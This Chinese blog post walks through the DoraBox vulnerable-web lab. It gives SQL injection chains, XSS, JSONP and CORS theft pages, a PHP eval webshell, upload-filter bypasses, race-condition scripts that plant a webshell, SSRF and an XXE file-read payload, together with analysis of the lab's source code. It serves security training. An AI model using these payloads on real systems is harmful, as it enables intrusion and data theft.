本文最后更新于 2024-07-26,文章内容可能已经过时。

DoraBox(哆啦盒)靶场渗透实战笔记

免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠

靶场介绍&环境配置:

DoraBox项目源码地址:

https://github.com/gh0stkey/DoraBox

Dorabox靶场基本介绍:

DoraBox - 掌握常见漏洞攻防,快速提升渗透能力

DoraBox,名字起源于哆啦A梦的英文,希望DoraBox能让你像大雄借助哆啦A梦的百宝袋一样学习到一些东西。

掌握常见漏洞攻防,快速提升渗透能力

界面很丑,学过前端,但是懒得去搞了。

作者:Vulkey_Chen

Blog:gh0st.cn

如果有建议或者问题可以发送到邮箱:admin@gh0st.cn

网站结构:

1.MySQL数据库(pentest.sql 导入到MySQL中即可)

db_name:pentest

table_name column_name
account Id(int11),rest(varchar255),own(varchar255)
news id(int11),title(varchar45),content(varchar45)

集合的漏洞类型

  • SQL注入:数字型、字符型、搜索型
  • XSS:反射型、存储型、DOM型
  • 文件包含:任意、目录限制
  • 文件上传:任意、JS限制、MIME限制、扩展名限制、内容限制
  • 代码/命令执行:任意
  • SSRF:SSRF(回显)
  • 其他:条件竞争(支付&上传)、任意文件读取、XXE
  • CSRF:增加CSRF读取型(JSONP劫持、CORS跨域资源读取)

除此之外还有一些poc在项目的PoC目录中。

环境配置详情:

win10 本机(使用burpsuit抓包工具等进行渗透测试)

php51(Centos系统,DoraBox搭建在其中的/opt/lampp/xmapp下)

首先启动php51的环境保证DoraBox环境启动:/opt/lampp/xmapp start

image-20240711010638057

将Dorabox目录下的pentset.sql在Dorabox对应的数据库中运行,保证数据正常

image-20240711014848477

靶机首页界面:

image-20240711010606313

打靶流程

一、SQLI注入

SQLI数字型

image-20240711013049726

漏洞利用:

输入框输入:

1 			#正常,界面返回标题和内容
2			#正常,界面返回标题和内容
1 and 1=1		#正常
1 and 1=2 		#页面异常。界面不返回标题和内容的内容,证明sql注入点

#判断字段长
1 and 1=1 order by 1		正常
1 and 1=1 order by 2		正常
1 and 1=1 order by 3		正常
1 and 1=1 order by 4		报错,字段数为3位

#爆回显位
-1 and 1=1 union select 1,2,3		#爆2,3回显位

#爆库和用户名
-1 and 1=1 union select 1,user(),database()
#爆出用户root@localhost,数据库pentest

image-20240711015019301

image-20240711021413743

#爆表
-1 and 1=1 union select 1,user(),group_concat(table_name) from information_schema.tables where table_schema=database()

#爆出表名account,news

image-20240711022116459

#爆字段
-1 and 1=1 union select 1,user(),group_concat(column_name) from information_schema.columns where table_name='account'
#爆出字段:Id,rest,own

-1 and 1=1 union select 1,user(),group_concat(column_name) from information_schema.columns where table_name='news'
#爆出字段:id,title,content

image-20240711022341413

#爆数据
-1 and 1=1 union select 1,group_concat(rest),group_concat(own) from pentest.account 

-1 and 1=1 union select 1,group_concat(title),group_concat(content) from pentest.news

image-20240711022900105

源码分析:

源代码文件位置:

/dorabox/sql_injection/sql_num.php

image-20240711015304316

经典的直接用字符串拼接造成的SQL注入漏洞,17行{$id}可以不用闭合语句。不影响注入

SQLI字符型

字符型与数字型的区别在于变量是否用单引号包裹,当不闭合单引号时,没有查询结果。

注入页面:

image-20240711023529490

漏洞利用:
#输入框输入如下内容提交测试
1			# 返回string(1) "1",说明是字符型,把1解释成字符串1了
#注入字符串加1=1
hello and 1=1			#正常返回、

#添加单引号
Dorabox' and '1'='1'		#注入成功

image-20240713114324611

#猜测字段数
Dorabox' and '1'='1' order by 1-- -
Dorabox' and '1'='1' order by 2-- -
Dorabox' and '1'='1' order by 3-- -
Dorabox' and '1'='1' order by 4-- -		#出错,说明字段为3


#爆回显
-Dorabox' and '1'='1' union select 1,2,3-- -
#爆出回显位2,3

#爆库
-Dorabox' and '1'='1' union select 1,user(),database()-- -
#爆出库名pentest

#爆表
-Dorabox' and '1'='1' union select 1,user(),group_concat(table_name) from information_schema.tables where table_schema=database()-- -
#爆出account,news


#爆列名
-Dorabox' and '1'='1' union select 1,user(),group_concat(column_name) from information_schema.columns where table_name='account'-- -

-Dorabox' and '1'='1' union select 1,user(),group_concat(column_name) from information_schema.columns where table_name='news'-- -

#爆数据
-Dorabox' and '1'='1' union select 1,user(),group_concat(own) from pentest.account-- -
#爆出666

-Dorabox' and '1'='1' union select 1,user(),group_concat(title) from pentest.news-- -
#	DoraBox,MstLab

image-20240713115502623

image-20240713120904285

image-20240713121113644

源码分析:

源代码文件位置:

/dorabox/sql_injection/sql_string.php

image-20240711023203144

从源代码可以看出是字符型的sql注入,15,16行用了字符进行拼接,但是没有设置过滤,导致可以进行字符型的sql注入

SQLI搜索型

image-20240711023545029

漏洞利用:

一般搜索字符串的时候,需要用到%,所以搜索型需要同时包含单引号和百分号,都需要闭合

输入框输入如下

DoraBox' and '1'='1			#正常有注入

DoraBox%' and 1=1-- -		#成功注入

image-20240713132420267

#猜字段数
DoraBox%' and 1=1 order by 1-- -
DoraBox%' and 1=1 order by 2-- -
DoraBox%' and 1=1 order by 3-- -
DoraBox%' and 1=1 order by 4-- -		#报错
#字段数为3位

#爆回显位
-DoraBox%' and 1=1 union select 1,2,3-- -
#回显位2,3

image-20240713132800428

#爆库和用户名
-DoraBox%' and 1=1 union select 1,user(),database()-- -
#   root@localhost	pentest

#爆表
    -DoraBox%' and 1=1 union select 1,user(),group_concat(table_name) from information_schema.tables where table_schema=database()-- -
#  account,news



#爆字段
-DoraBox%' and 1=1 union select 1,user(),group_concat(column_name) from information_schema.columns where table_name='account'-- -

-DoraBox%' and 1=1 union select 1,user(),group_concat(column_name) from information_schema.columns where table_name='news'-- -

#爆数据
源码分析:

源代码文件位置:

/dorabox/sql_injection/sql_search.php

image-20240711023302121

可以看到17行的SQL语句运用了like语句,进行模糊检索,但是后面的直接使用了字符拼接,没有做过滤条件,所以造成了SQL注入

二、XSS

XSS反射型

image-20240715005748671

漏洞利用:

输入框输入如下payload:

<script>alert(1)</script>

image-20240715005839362

源码分析:

DoraBox\xxs\reflect_xss.php

image-20240715010423586

可以看到第10行,$p创建了一个对象 Func,方法是 GET,参数名为 name

11行使用了 $p -> con_html生成表单,是作者自己写的函数,在 function.class.php

echo $p -> con_function('var_dump',$name);这行代码 con_function是靶场自带的回调函数,作用是执行传参内容,当相应的函数执行。和 var_dump($name)一个作用,var_dump会在处理字符串的时候以 string类型加字符串长度"字符串内容"的形式返回。

con_function回调函数在 function.class.php文件中

DoraBox\class\function.class.php

image-20240715011014822

XSS存储型

image-20240715011200729

漏洞利用:

在输入框输入如下payload:

<script>alert(1)</script>

image-20240715011448706

出现上面这个错误的时候,说明文件没有执行权限,修改对应文件的权限即可。

image-20240715011801087

在执行的时候,页面没有弹出内容,这是因为内容被写入页面中,刷新一下

image-20240715012204470

存储型xss作者设计的很有意思,采用直接向当前页面追加内容的方式实现的,也就是说,如果你测试很多次的话,这个页面会越来越大。

源码分析:

/dorabox/xss/stored_xss.php

image-20240715012504570

可以看到18行中被存储的xss代码,其中14行这里

file_put_contents(__FILE__,$name,FILE_APPEND)这个函数就是用来采用追加的方式写入当前页面的函数。

XSS DOM型

image-20240715012738636

漏洞利用

输入框输入如下的payload:

<script>alert(1)</script>

image-20240715014324029

输入payload的时候,页面弹出了xss代码显示,但是没有在页面源码和前端界面中显示出来,这就是DOM型XSS的特点。

源码分析

/dorabox/xss/dom_xss.php

image-20240715014901757

15行 var reg = new RegExp("(^|&)"+ name +"=([^&]*)(&|$)");

是创建了一个RegExp的函数来指定name值和后面的正则表达式进行查找

(^| )代表开始

( |$)代表结束

以&或者$结尾的字符串

这个正则是寻找&+url参数名字=值+&

&可以不存在。

16行 window.location.search.substr(1).match(reg);这个代码分析:

(1) location是包含了相关的url的信息,它是windown的一部分。

(2) search是一个可以查询的属性,可以查询?之后的部分。

(3) substr(1)是为了去掉第一个?

(4) match()是你要匹配的部分 后面可以是正则表达式。

(5) return unescpe(r[2]) 返回的值 一个数组。

(6) 这里是开始匹配,找到了返回对应url值,没找到返回null。

三、JSONP劫持

JSONP 全称是 JSON with Padding ,是基于 JSON 格式的为解决跨域请求资源而产生的解决方案。

他实现的基本原理是利用了 HTML 里 <script></script> 元素标签,远程调用 JSON 文件来实现数据传递。

当某网站通过 JSONP 的方式来跨域(一般为子域)传递用户认证后的敏感信息时,攻击者可以构造恶意的 JSONP 调用页面(一般是钓鱼连接),诱导被攻击者访问来达到截取用户敏感信息(如cookies)的目的。

访问漏洞页面:

image-20240715015509105可以看到页面返回了一段json格式的数据。

漏洞利用

下面来构造一段恶意的JSONP调用界面,来获取其他域下的受害者的json信息。

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
</head>
<body>
<script type="text/javascript">
function test(result)
        {
            alert(result.address);
        }
</script>
<script type="text/javascript" src="http://192.168.91.128/secenvs/dorabox/csrf/jsonp.php?callback=test"></script>
</body>
</html>

复制到搭建的服务器的dorabox目录上,运行尝试。

image-20240715021122296

获取到真实的地址了。

可以根据需要的进行修改 alert()函数的代码,从而获取指定属性的数据

image-20240715021817933

如我这里修改了成了username,再次执行后可以获取到当前用户的用户名,如此类推

image-20240715021913415

还可以直接使用靶场作者自己准备的POC代码进行获取全部数据

代码地址:/dorabox/PoC/csrf/jsonp.html

<script>function vulkey(data){alert(JSON.stringify(data));}</script>
<script src="url"></script>

http://192.168.91.128/secenvs/dorabox/PoC/csrf/jsonp.html

注意这里的url要修改成对应地址后执行才有效。

<script>function vulkey(data){alert(JSON.stringify(data));}</script>
<script src="http://192.168.91.128/secenvs/dorabox/csrf/jsonp.php?callback=vulkey"></script>

页面执行对应的代码文件,显示如下,拿到用户的所有数据。

image-20240715022353137

源代码分析

/dorabox/csrf/jsonp.php

image-20240715022641944

同样引入了function.class.php中的函数,从 $reqMethod = "GET";可以看出方法使用的是GET类型的,$reqValue = "callback";使用的Value进行回调。con_function回调函数,使用json_encode加密$info的json格式数据,没有进行过滤所以导致了CSRF的JSONP劫持漏洞。

JSONP防御

1、前端不要传回调函数的名字给后端,直接约定好

2、后端检查Referer请求头,必须是约定好的服务器的地址

3、严格显示callback函数名称里的恶意单词,例如cookie,alert等等

4、严格限制callback函数名称的长度

5、使用htmlspecialchars、addslashes函数转义

四、CORS跨域资源读

跨源资源共享 (CORS) 定义了在一个域中加载的客户端 Web 应用程序与另一个域中的资源交互的方式,需要浏览器和服务器共同支持才能实现。

image-20240715023313461

漏洞利用

编写如下payloa即可,在浏览器执行即可利用

<!DOCTYPE html>
<html>
<body>
div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>

<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = alert(this.responseText);
    }
  };
  xhttp.open("GET", "http://192.168.91.128/secenvs/dorabox/csrf/userinfo.php", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>
</body>
</html>

image-20240715023859511

点击Exploit,获取到了全部数据。

这里作者同样准备了可以用的POC文件,地址:

/dorabox/PoC/csrf/CORS/index.html

image-20240715024038050

在URL输入地址,点击Attack即可获取全部数据。

image-20240715024156713

源码分析

image-20240715024354664

可以看到其源码就是Access-Control-Allow-*系列,这个就是CORS的配置,在12,13行$info中有全部数据,输出在页面中,造成了CORS漏洞可以利用。

五、文件包含

任意文件包含

image-20240715024645675

漏洞利用

作者在这里也准备了文件包含需要编写的文件,他温柔我哭死

地址/dorabox/file_include/txt.txt

image-20240715024820572

直接使用即可,实现文件包含了。

输入框直接输入txt.txt,点击提交即可

image-20240715025157865

可以看到,成功执行了包含txt.txt的php代码,输出了phpinfo()信息。

源码分析

地址:/dorabox/file_include/any_include.php

image-20240715025314660

可以看到代码中使用include 直接包含的,没有进行其他的处理,所以可以进行文件包含读取。

目录限制文件包含

image-20240715025452903

漏洞利用

这里我自己写了一个包含phpinfo的文件在dorabox的本地目录下

image-20240715030335610

在输入框输入如下,并提交

../phpinfo.php

#这里../是从根目录开始遍历所以只要写一个../,文件放在哪一级目录下,就写几个../

http://192.168.91.128/secenvs/dorabox/file_include/include_1.php?file=../phpinfo.php&submit=submit

image-20240715030422213

可以看到成功读取到

源码分析

地址:/dorabox/file_include/include_1.php

image-20240715025535651

可以看到源代码中也是include包含,与上一个的区别不大,区别就在加了一个./

六、文件上传

任意文件上传

image-20240715030656262

漏洞利用

任意文件上传,这里没有限制,随便传就行

这里我上传一段一句话木马文件

<?php @eval($_POST['aaa']);?>

image-20240715031211880

可以看到上传到了upload/test_muma.php,上传后,蚁剑进行连接。

地址:

http://192.168.91.128/secenvs/dorabox/file_upload/upload/test_muma.php

image-20240715031543840

image-20240715031607539

源码分析

地址:

/dorabox/file_upload/any_upload.php

image-20240715032633288

可以看到没有进行任何限制的文件上传php代码文件,24行之后是显示文件大小和名字的一些代码,并将它移动到指定的目录中。

JS限制文件上传

image-20240715031747156

上传php文件,发现页面弹出了拦截窗口,说明源代码进行了过滤处理。

漏洞利用

上传一段php一句话,burp进行抓包,修改后缀名后,重新发送上传

image-20240715190354469

image-20240715190454092

使用蚁剑进行连接

image-20240715191009769

源码分析

/dorabox/file_upload/upload_js.php

image-20240715191057362

可以看到,源码中*alert(ext_name + "|");*来判断文件类型是否允许上传29行定义了文件上传的类型为jpg|.jpeg|.png|.gif|.bmp这几个文件类型,但是只是用了前端的js来判断,后端没有进行校验,所以可以通过抓包修改后缀名的方式绕过前端的检测。

MIME限制文件上传

image-20240715192757552

同样上传一句话php木马,显示文件类型不正确,MIME验证就是Content-type字段值的,直接更改上传数据包中的Content-type即可绕过

漏洞利用

再次上传php文件,使用burp进行抓包拦截

image-20240715193710077

修改Content-type值为图片的格式(image/jpeg),即Content-Type: image/jpeg,上传后成功绕过

蚁剑连接测试:

image-20240715193850481

源码分析

/dorabox/file_upload/upload_mime.php

image-20240715193919838

可以看到源码文件中,第5,6行限制了文件上传的类型,方法使用了POST类型,通过修改Content-Type类型值的方法可成功绕过。

拓展名限制文件上传

image-20240715194439903

可以看到这关是加了后端服务器来验证拓展名从而限制文件上传的类型,采用后端验证后缀名的绕过方式有很多,比如找黑名单中缺少的类型的文件如asa等,也可以进行大小写绕过尝试,如Asp,pHp之类。

总结一下大概有如下几种:

1、黑名单中缺少的类型的文件如asa等

2、可能存在大小写绕过漏洞 - 比如 aSp 和 pHp 之类

3、点和空格绕过,比如修改发送包中的文件名muma.php改成 muma.php.或者 muma.php (最后面有一个空格),当然这种命名方式实际测试中不允许在window上修改,需要抓包后在burp中修改,上传过去后,会被window系统自动去掉后面的点和空格,这个就成功绕过了

4、0x00 截断绕过绕过,比如在muma.php后面加 %00,这个是基于一个组合逻辑漏洞造成的

5、利用IIS 或 nginx 文件名解析漏洞

比如 help.asp;.jpg 或 http://www.xx.com/help.jpg/2.php

这里注意网上所谓的 nginx 文件名解析漏洞实际上是 php-fpm 文件名解析漏洞,详见 http://www.cnbeta.com/articles/111752.htm

6、双扩展名解析绕过,如木马后缀改成muma.php.rar等。或者如果在 Apache 的 conf 里有这样一行配置:AddHandler php5-script .php

这时只要文件名里包含.php

即使文件名是 test2.php.jpg 也会以 php 来执行

漏洞利用

这里我使用修改大小写的方式绕过,编写一句话木马并保存为php文件

<?php @eval($_POST['aaa']);?>

修改后缀名为PhP

上传后,成功绕过。

image-20240715200056508

蚁剑进行连接测试:

image-20240715200203871

源码分析

/dorabox/file_upload/upload_name.php

image-20240715194317571

可以看到源码中第5行使用 $deny_ext = array('.asp', '.php', '.aspx', '.jsp');这串代码来检测文件上传的类型是否是这几个文件,如果是就打印文件不允许上传,相当于设置了一个黑名单,但是后续没有进行其他处理,所以这里的可操作空间很大,可以通过大小写绕过,或者上传黑名单中不存在的文件格式等等方法进行绕过。

内容限制文件上传

image-20240715200258763

上传php格式的文件,同样显示文件不允许上传

image-20240715201001351

漏洞利用

通过制作图片木马进行绕过上传,首先制作一个php一句话木马,在准备一个png格式的文件,再通过cmd中的copy命令合并两个文件,成功制作出一个图片木马后上传就可以成功绕过

copy test4.png/b+yijuhua4.php/a tupianma.png

#/b表示二进制,/a表示ASCII码

image-20240715203345079

这里也可以直接上传php格式的文件,通过burp抓包后修改为图片文件头的方式来成功绕过

image-20240715202321108

源码分析

/dorabox/file_upload/upload_content.php

image-20240715201148643

可以看到源码中使用了$allow_ext来限制文件上传的类型必须为图片格式的,image/png', 'image/gif', 'image/jpeg', 'image/bmp这几种,在第九行使用了getimagesize()函数来判断文件的是否是一个图片类型的文件,这个函数可以检测图像大小及相关信息,在检测的过程中会返回一个数组:

Array

(

[0] => 2573

[1] => 16188

[2] => 1

[3] => width="2573" height="16188"

[channels] => 3

[mime] => image/gif

)

如果不是图片则会报错,我们可以使用文件头欺骗来绕过。

七、任意代码&命令执行

任意代码执行

image-20240715224612106

漏洞利用

直接输入框输入如下代码执行

phpinfo()

image-20240715224733272

源代码分析

/dorabox/code_exec/code.php

image-20240715233853269

可以看到源码中13和14行直接使用了 $_REQUEST['code'];进行拼接输出,没有加任何过滤条件,所以导致可以执行任意代码。

任意命令执行

漏洞利用

image-20240715234231459

输入框中直接输入whoami

回显出daemon

image-20240715234515630

源码分析

image-20240715234048627

可以看到源码中和上面一样直接拼接中间没有加任何过滤,导致能执行command任意的命令。

八、SSRF

ssrf又名服务端请求伪造,是攻击者让服务端发起构造的指定请求链接造成的漏洞。

由于存在防火墙的防护,导致攻击者无法直接入侵内网;

这时攻击者可以以服务器为跳板发起一些网络请求,从而攻击内网的应用及获取内网数据。

一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

大都是由于服务端提供了从其它服务器获取数据的功能,比如使用户从指定的URL web应用获取图片、下载文件、读取文件内容等。

但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发送请求,并返回对该目标地址请求的数据。

最常见的例子:攻击者传入一个未经验证的URL,后端代码直接请求这个URL,就会造成SSRF漏洞。

image-20240715234659041

SSRF 可以用于扫描内部,或者自己的网络服务状况。比如利用靶机访问自己的80端口

http://192.168.91.128/secenvs/dorabox/ssrf/ssrf.php?url=http://127.0.0.1:80&submit=submit

image-20240715235800815

或者利用SSRF file协议读取本地文件

image-20240716000055097

源码分析

image-20240715235044272

这里同样是url,中间没有对目标地址做严格过滤与限制导致攻击者可以传入任意的地址来让后端服务器对其发送请求,并返回对该目标地址请求的数据。function.class.php是作者自己写的方法文件,前面已经展示过了

九、条件竞争

条件竞争的概念

发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中

条件竞争-支付

image-20240716000205690

漏洞利用

运用作者给出的poc文件执行

文件位置:/dorabox/PoC/race_condition/pay_poc.py

import requests
import threading
import Queue

url = "http://192.168.91.128/secenvs/dorabox/race_condition/pay.php"
threads = 25
q = Queue.Queue()

for i in range(50):
    q.put(i)

def post():
    while not q.empty():
        q.get()
        r = requests.post(url, data={'money': 1})
        print(r.text)

if __name__ == '__main__':
    for i in range(threads):
        t = threading.Thread(target=post)
        t.start()

    for i in range(threads):
        t.join() 

作者起了25个线程,一共提交50次1块钱,运行程序后,交易正常执行

image-20240716003702898

源码分析

/dorabox/race_condition/pay.php

image-20240716003323550

1、 查看程序逻辑,查询打印出account中,rest和own字段

2、 判断提交的钱数是否小于拥有的钱数,小于则执行查询完成支付交易

3、 大于则弹出支付失败

条件竞争-上传

漏洞利用

作者这里给出了一句话木马文件,应该猜测到意图应该是通过条件竞争漏洞去上传一句话木马,靶场后端代码应该会在短时间内进行删除木马,需要编写脚本触发条件竞争漏洞,从而正确上传木马文件,并抢到在它删除之前访问文件,就如我们打开文件的时候去删除它,会提示文件文件已打开一样,这样从而防止文件被删除。

文件位置:/dorabox/race_condition/key.php

<?php fputs(fopen("info.php", "w"), '<?php @eval($_POST["key"]);?>'); ?> 
#只要访问了key.php文件,php文件就会成功解析执行,自动创建一个info.php,写入一句话木马

image-20240716002209788

运用作者给出的POC:

文件位置:/dorabox/PoC/race_condition/upload_poc.py

import requests
import threading
import os

class RaceCondition(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)

        self.url = 'http://192.168.91.128/secenvs/dorabox/race_condition/uploads/key.php' #上传的文件地址
        self.uploadUrl = 'http://192.168.91.128/secenvs/dorabox/race_condition/uploads/upload.php' #上传文件的地址

    def _get(self):
        print('try to call uploaded file...')
        r = requests.get(self.url)
        if r.status_code == 200:
            print('[*] create file info.php success.')
            os._exit(0)

    def _upload(self):
        print('upload file...')
        file = {'myfile': open('key.php', 'r')} #本地脚本木马
        requests.post(self.uploadUrl, files=file)

    def run(self):
        while True:
            for i in range(5):
                self._get()

            for i in range(10):
                self._upload()
                self._get()

if __name__ == '__main__':
    threads = 50  

    for i in range(threads):
        t = RaceCondition()
        t.start()

    for i in range(threads):
        t.join() 

运行后,uploads文件夹中自动生成info.php,使用蚁剑进行连接即可。

image-20240716004821429

源码分析

/dorabox/race_condition/upload.php

image-20240716003741895

从24到27行可以看出,程序逻辑处理是先将文件上传上来,然后检查后缀,后缀不在允许列表里,删除文件,我们运用条件竞争漏洞可以在它删除前把文件上传上去执行。

十、任意文件读取

任意文件读取与文件包含的不同在于这个不能执行,只能读取内容

image-20240716000233333

漏洞利用

直接读取靶场本地目录下的文件,提交尝试

读取readme.md文件

image-20240716000540787

读取conn.php文件

image-20240716000610999

源码分析

/dorabox/others/file_read.php

image-20240716000757048

源码中同样是不加过滤导致的文件读取,13,14行直接拼接的文件名,如果文件存在,15行直接利用

htmlspecialchars()函数显示出文件的内容。

十一、XXE

XXE全称XML External Entity Injection, 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

攻击点就是可以上传xml代码的,并且没有对xml代码进行检测和过滤的地方。

image-20240716000248030

漏洞利用

输入admin&admin,显示登录成功

image-20240716013259203

再次输入使用burp抓包,输入如下payload:

<!DOCTYPE a [
<!ENTITY xxe SYSTEM "file:///opt/lampp/htdocs/secenvs/dorabox/xxe/login.php" >
]>
<user><username>&xxe;</username><password>admin</password></user>

image-20240716015342530

源码分析

/dorabox/xxe/login.php

image-20240716005338269

从这里可以看出页面的登录逻辑。

/dorabox/xxe/index.html

image-20240716005356123

从第八行 libxml_disable_entity_loader(false);这里可以看出允许加载外部实体,可以利用xxe漏洞进行攻击。

总结

学习打靶的过程中,逐渐领会到了基础知识的重要性,尤其是SSRF和CSRF的区别和文件上传,文件包含的各种绕过手法,逐渐领会到了如果需要写出优秀且安全的代码是非常不容易的,尤其是面对php这种本身就不是很安全的语言,更是要时刻注意安全方面的问题。

尽量要做到对条件过滤严格,包括对服务端方面的一些地方更是要注意安全问题。

DoraBox是一个十分有趣的而且简单的靶场,它让我能快速掌握常见漏洞攻防,有效的在实战中了解到了OWASPtop10漏洞的重要性和一些技术细节,总之还是非常可以的。